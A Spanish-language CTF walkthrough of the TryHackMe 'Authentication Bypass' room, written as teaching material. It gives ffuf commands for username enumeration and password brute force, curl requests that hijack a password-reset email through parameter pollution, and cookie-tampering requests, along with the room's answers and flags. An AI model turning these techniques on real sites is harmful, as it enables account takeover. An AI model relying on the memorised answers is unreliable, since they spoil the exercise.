Hola hacketones! Bienvenidos a un nuevo CTF de la ruta completa de Web Fundamentals, en este capítulo veremos: TryHackMe Authentication Bypass
Omisión de autenticación
Aprenda cómo anular los inicios de sesión y otros mecanismos de autenticación para permitirle acceder a áreas no permitidas.
En esta sala, aprenderemos sobre las diferentes maneras en que se pueden eludir, burlar o vulnerar los métodos de autenticación de sitios web. Estas vulnerabilidades pueden ser de las más críticas, ya que a menudo resultan en filtraciones de datos personales de los clientes.
Inicie el equipo y continúe con la siguiente tarea.
Enumeración de nombre de usuario
Un ejercicio útil para completar cuando intentamos encontrar vulnerabilidades de autenticación es crear una lista de nombres de usuario válidos, que usaremos más adelante en otras tareas.
Los mensajes de error del sitio web son excelentes recursos para recopilar esta información y crear nuestra lista de nombres de usuario válidos. Disponemos de un formulario para crear una nueva cuenta de usuario si accedemos a la página de registro del sitio web de soporte técnico de Acme ( http://10.67.175.209/customers/signup ) .
Si intentas introducir el nombre de usuario admin y rellenas los demás campos del formulario con información falsa, verás el error » Ya existe una cuenta con este nombre de usuario» . Podemos aprovechar este mensaje de error para generar una lista de nombres de usuario válidos ya registrados en el sistema con la herramienta ffuf (abajo). Esta herramienta utiliza una lista de nombres de usuario comunes para comprobar si hay coincidencias.
Enumeración de nombres de usuario con ffuf
user@tryhackme$ffuf -w/usr/share/wordlists/SecLists/Usernames/Names/names.txt -XPOST -d»username=FUZZ&email=x&password=x&cpassword=x»-H»Content-Type: application/x-www-form-urlencoded»-uhttp://10.67.175.209/customers/signup -mr»username already exists»
En el ejemplo anterior, el -wargumento selecciona la ubicación del archivo en la computadora que contiene la lista de nombres de usuario que vamos a verificar que existe. El -Xargumento especifica el método de solicitud, que será una solicitud GET por defecto, pero es una solicitud POST en nuestro ejemplo. El -dargumento especifica los datos que vamos a enviar. En nuestro ejemplo, tenemos los campos nombre de usuario, correo electrónico, contraseña y cpassword. Hemos establecido el valor del nombre de usuario en FUZZ . En la herramienta ffuf, la palabra clave FUZZ indica dónde se insertará el contenido de nuestra lista de palabras en la solicitud. El -Hargumento se utiliza para agregar encabezados adicionales a la solicitud. En este caso, estamos configurando para Content-Type que el servidor web sepa que estamos enviando datos del formulario. El -uargumento especifica la URL a la que estamos realizando la solicitud y, finalmente, el -mrargumento es el texto en la página que estamos buscando para validar que hemos encontrado un nombre de usuario válido.
La herramienta ffuf y la lista de palabras vienen preinstaladas en AttackBox o se pueden instalar localmente descargándolas desde https://github.com/ffuf/ffuf .
Crea un archivo llamado valid_usernames.txt y agrega los nombres de usuario que encontraste usando ffuf; estos se usarán en la Tarea 3.

Responde las preguntas a continuación.
¿Cuál es el nombre de usuario que comienza con si***?
simon
¿Cuál es el nombre de usuario que comienza con st***?
steve
¿Cuál es el nombre de usuario que empieza con ro****?
Robert
Fuerza bruta
Usando el archivo valid_usernames.txt que generamos en la tarea anterior, ahora podemos usarlo para intentar un ataque de fuerza bruta en la página de inicio de sesión ( http://10.67.175.209/customers/login ) .
Nota: Si creó el archivo valid_usernames canalizando la salida directamente desde ffuf, podría tener dificultades con esta tarea. Limpie los datos o copie solo los nombres en un nuevo archivo.
Un ataque de fuerza bruta es un proceso automatizado que prueba una lista de contraseñas de uso común con un solo nombre de usuario o, como en nuestro caso, una lista de nombres de usuario.
Al ejecutar este comando, asegúrese de que la terminal esté en el mismo directorio que el archivo valid_usernames.txt.
Fuerza bruta con ffuf
user@tryhackme$ffuf -wvalid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -XPOST -d»username=W1&password=W2″-H»Content-Type: application/x-www-form-urlencoded»-uhttp://10.67.175.209/customers/login -fc200
Este comando ffuf es ligeramente diferente al de la Tarea 2. Anteriormente, usábamos la palabra clave FUZZ para seleccionar dónde se insertarían los datos de las listas de palabras en la solicitud, pero como usamos varias listas, debemos especificar nuestra propia palabra clave FUZZ. En este caso, hemos elegido W1para nuestra lista de nombres de usuario válidos y W2para la lista de contraseñas que probaremos. Las listas de palabras se especifican nuevamente con el -wargumento, pero se separan con una coma. Para una coincidencia positiva, usamos el -fcargumento para buscar un código de estado HTTP distinto de 200.
Al ejecutar el comando anterior, encontrará una única combinación de nombre de usuario y contraseña que responde a la pregunta siguiente.

Responda las preguntas a continuación
¿Cuál es el nombre de usuario y la contraseña válidos (formato: nombre de usuario/contraseña)?
steve/thunder
Falla de lógica
¿Qué es una falla lógica?
A veces, los procesos de autenticación presentan fallos lógicos. Un fallo lógico se produce cuando un hacker omite, elude o manipula la ruta lógica típica de una aplicación. Los fallos lógicos pueden existir en cualquier área de un sitio web, pero en este caso nos centraremos en ejemplos relacionados con la autenticación.

Ejemplo de falla lógica
El siguiente ejemplo de código simulado comprueba si la ruta que visita el cliente comienza con /admin y, de ser así, se realizan comprobaciones adicionales para determinar si el cliente es, de hecho, un administrador. Si la página no comienza con /admin, se muestra al cliente.
if(url.substr(0,6)===’/admin’){# Code to check user is an admin}else{# View Page}
Dado que el ejemplo de código PHP anterior usa tres signos de igual (===), busca una coincidencia exacta en la cadena, incluyendo el uso de mayúsculas y minúsculas. El código presenta una falla lógica, ya que un usuario no autenticado que solicite /adMin no comprobará sus privilegios ni verá la página, omitiendo por completo las comprobaciones de autenticación.
Falla lógica práctica
Vamos a examinar la función de restablecimiento de contraseña del sitio web de soporte técnico de Acme ( http://10.67.175.209/customers/reset ). Veremos un formulario que solicita la dirección de correo electrónico asociada a la cuenta en la que deseamos restablecer la contraseña. Si se introduce una dirección de correo electrónico no válida, recibirá el mensaje de error » No se encontró la cuenta en la dirección de correo electrónico proporcionada «.
Para fines de demostración, usaremos la dirección de correo electrónico robert@acmeitsupport.thm, que se acepta. A continuación, se nos presenta la siguiente etapa del formulario, que solicita el nombre de usuario asociado a esta dirección de correo electrónico. Si ingresamos robert como nombre de usuario y pulsamos el botón «Verificar nombre de usuario», recibirá un mensaje de confirmación indicando que se enviará un correo electrónico de restablecimiento de contraseña a robert@acmeitsupport.thm.

En esta etapa, es posible que se pregunte cuál podría ser la vulnerabilidad en esta aplicación, ya que debe conocer tanto el correo electrónico como el nombre de usuario y luego se envía el enlace de la contraseña a la dirección de correo electrónico del propietario de la cuenta.
Este tutorial requerirá ejecutar ambas solicitudes Curl a continuación en AttackBox, que se puede abrir usando el botón azul de arriba.
En el segundo paso del proceso de restablecimiento de correo electrónico, el nombre de usuario se envía en un campo POST al servidor web y la dirección de correo electrónico se envía en la solicitud de cadena de consulta como un campo GET.
Ilustremos esto utilizando la herramienta curl para realizar manualmente la solicitud al servidor web.
Solicitud de curl 1:
user@tryhackme$curl’http://10.67.175.209/customers/reset?email=robert%40acmeitsupport.thm’-H’Content-Type: application/x-www-form-urlencoded’-d’username=robert’
Usamos la -Hbandera para agregar un encabezado adicional a la solicitud. En este caso, configuramos el Content-Type`to` application/x-www-form-urlencoded, lo que permite al servidor web saber que enviamos datos del formulario para que pueda interpretar correctamente nuestra solicitud.
En la aplicación, la cuenta de usuario se recupera utilizando la cadena de consulta, pero luego, en la lógica de la aplicación, el correo electrónico de restablecimiento de contraseña se envía utilizando los datos que se encuentran en la variable PHP $_REQUEST.
La variable PHP $_REQUEST es una matriz que contiene los datos recibidos de la cadena de consulta y los datos POST. Si se utiliza el mismo nombre de clave para ambos, la lógica de la aplicación para esta variable prioriza los campos de datos POST en lugar de la cadena de consulta. Por lo tanto, si añadimos otro parámetro al formulario POST, podemos controlar dónde se envía el correo electrónico de restablecimiento de contraseña.
Solicitud de curl 2:
user@tryhackme$curl’http://10.67.175.209/customers/reset?email=robert%40acmeitsupport.thm’-H’Content-Type: application/x-www-form-urlencoded’-d’username=robert&email=attacker@hacker.com’

Para el siguiente paso, deberá crear una cuenta en la sección de atención al cliente de soporte técnico de Acme IT. Esto le proporcionará una dirección de correo electrónico única que podrá usar para crear tickets de soporte. La dirección de correo electrónico tiene el formato {username}@customer.acmeitsupport.thm.
Se está volviendo a ejecutar la Solicitud de Curl 2, pero con tu @acmeitsupport.thm en el campo de correo electrónico, se creará un ticket en tu cuenta con un enlace para iniciar sesión como Robert. Con la cuenta de Robert, puedes ver sus tickets de soporte y mostrar una alerta.
Solicitud de Curl 2 (pero usando su cuenta @acmeitsupport.thm):
user@tryhackme:~$curl’http://10.67.175.209/customers/reset?email=robert@acmeitsupport.thm’-H’Content-Type: application/x-www-form-urlencoded’-d’username=robert&email={username}@customer.acmeitsupport.thm’



Responda las preguntas a continuación
¿Cuál es la bandera del ticket de soporte de Robert?
THM{AUTH_BYPASS_COMPLETE}
Manipulación de cookies
Examinar y editar las cookies que establece el servidor web durante su sesión en línea puede tener múltiples consecuencias, como acceso no autenticado, acceso a la cuenta de otro usuario o privilegios elevados. Si necesita repasar la información sobre las cookies, consulte la sección «HTTP en detalle » de la tarea 6.
Texto sin formato
El contenido de algunas cookies puede estar en texto plano, y su función es obvia. Por ejemplo, si estas fueran las cookies que se configuran tras un inicio de sesión exitoso:
Establecer cookie: logged_in=true; Edad máxima=3600; Ruta=/
Establecer cookie: admin=false; Edad máxima=3600; Ruta=/
Vemos una cookie (logged_in), que aparentemente controla si el usuario ha iniciado sesión o no, y otra (admin), que controla si el visitante tiene privilegios de administrador. Con esta lógica, si modificamos el contenido de las cookies y realizamos una solicitud, podremos cambiar nuestros privilegios.
Primero, comenzaremos simplemente solicitando la página de destino:
Solicitud de rizo 1
user@tryhackme$curlhttp://10.67.175.209/cookie-test
Podemos ver que nos devuelve un mensaje de: No iniciado sesión
Ahora enviaremos otra solicitud con la cookie logged_in establecida en verdadera y la cookie admin establecida en falsa:
Solicitud de rizo 2
user@tryhackme$curl-H»Cookie: logged_in=true; admin=false»http://10.67.175.209/cookie-test
Nos da el mensaje: Iniciado sesión como usuario
Finalmente, enviaremos una última solicitud configurando las cookies de inicio de sesión y de administrador como verdaderas:
Solicitud de rizo 3
user@tryhackme$curl-H»Cookie: logged_in=true; admin=true»http://10.67.175.209/cookie-test
Esto devuelve el resultado: Inició sesión como administrador , así como una bandera que puede usar para responder la pregunta uno.

Hash
A veces, los valores de las cookies pueden parecer una larga cadena de caracteres aleatorios; estos se denominan hashes y son una representación irreversible del texto original. Aquí tienes algunos ejemplos que puedes encontrar:
| Cuerda original | Método hash | Producción |
| 1 | md5 | c4ca4238a0b923820dcc509a6f75849b |
| 1 | sha-256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| 1 | sha-512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
| 1 | sha1 | 356a192b7913b04c54574d18c28d46e6395428ab |
Como puede ver en la tabla anterior, el resultado hash de una misma cadena de entrada puede variar significativamente según el método hash utilizado. Aunque el hash es irreversible, se genera el mismo resultado siempre, lo cual nos resulta útil, ya que servicios como https://crackstation.net/ mantienen bases de datos con miles de millones de hashes y sus cadenas originales.
Codificación
La codificación es similar al hash en que crea lo que parecería ser una cadena de texto aleatoria, pero en realidad es reversible. Por lo tanto, surge la pregunta: ¿para qué sirve la codificación? La codificación nos permite convertir datos binarios en texto legible que puede transmitirse de forma fácil y segura a través de medios que solo admiten caracteres ASCII de texto plano.
Los tipos de codificación más comunes son base32, que convierte datos binarios a los caracteres A-Z y del 2 al 7, y base64, que utiliza los caracteres A-Z, A-Z, 0-9, +, / y el signo igual para el relleno.
Tome los siguientes datos como ejemplo, que establece el servidor web al iniciar sesión:
Establecer cookie: sesión=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Edad máxima=3600; Ruta=/
Esta cadena base64 decodificada tiene el valor {«id»:1,»admin»: false}. Luego podemos volver a codificarla en base64, pero en su lugar establecer el valor de administrador en verdadero, lo que ahora nos da acceso de administrador.
Responda las preguntas a continuación
¿Cuál es la bandera que impide cambiar los valores de las cookies de texto sin formato?
THM{COOKIE_TAMPERING}
¿Cuál es el valor del hash md5 3b2a1053e3270077456a79192070aa78?
463729
¿Cuál es el valor decodificado en base64 de VEhNe0JBU0U2NF9FTkNPRElOR30=?
THM{BASE64_ENCODING}
Codifique el siguiente valor usando base64 {«id»:1,»admin»:true}
eyJpZCI6MSwiYWRtaW4iOnRydWV9

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!